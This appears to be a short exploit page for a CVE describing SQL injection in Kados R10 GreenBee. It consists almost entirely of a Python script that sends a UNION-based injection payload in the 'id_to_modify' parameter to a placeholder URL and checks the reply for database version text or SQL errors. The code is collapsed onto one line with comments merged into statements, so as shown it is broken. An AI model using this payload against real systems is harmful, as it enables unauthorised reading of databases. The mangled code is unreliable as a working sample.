CVE-2019-25692 Kados R10 GreenBee SQL注入漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://example.com/vulnerable_endpoint" # SQL Injection Payload for 'id_to_modify' parameter # Attempts to extract database version using UNION based injection payload = "1' UNION SELECT NULL, version(), NULL-- -" # Parameters to be sent params = { "id_to_modify": payload } try: # Send GET request with the malicious payload response = requests.get(target_url, params=params, timeout=10) # Check if the response contains database version information # or specific SQL errors indicating vulnerability if "mysql" in response.text.lower() or "syntax error" in response.text.lower(): print("[+] Potential SQL Injection vulnerability detected!") print("[+] Response snippet:", response.text[:200]) else: print("[-] Vulnerability not confirmed or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")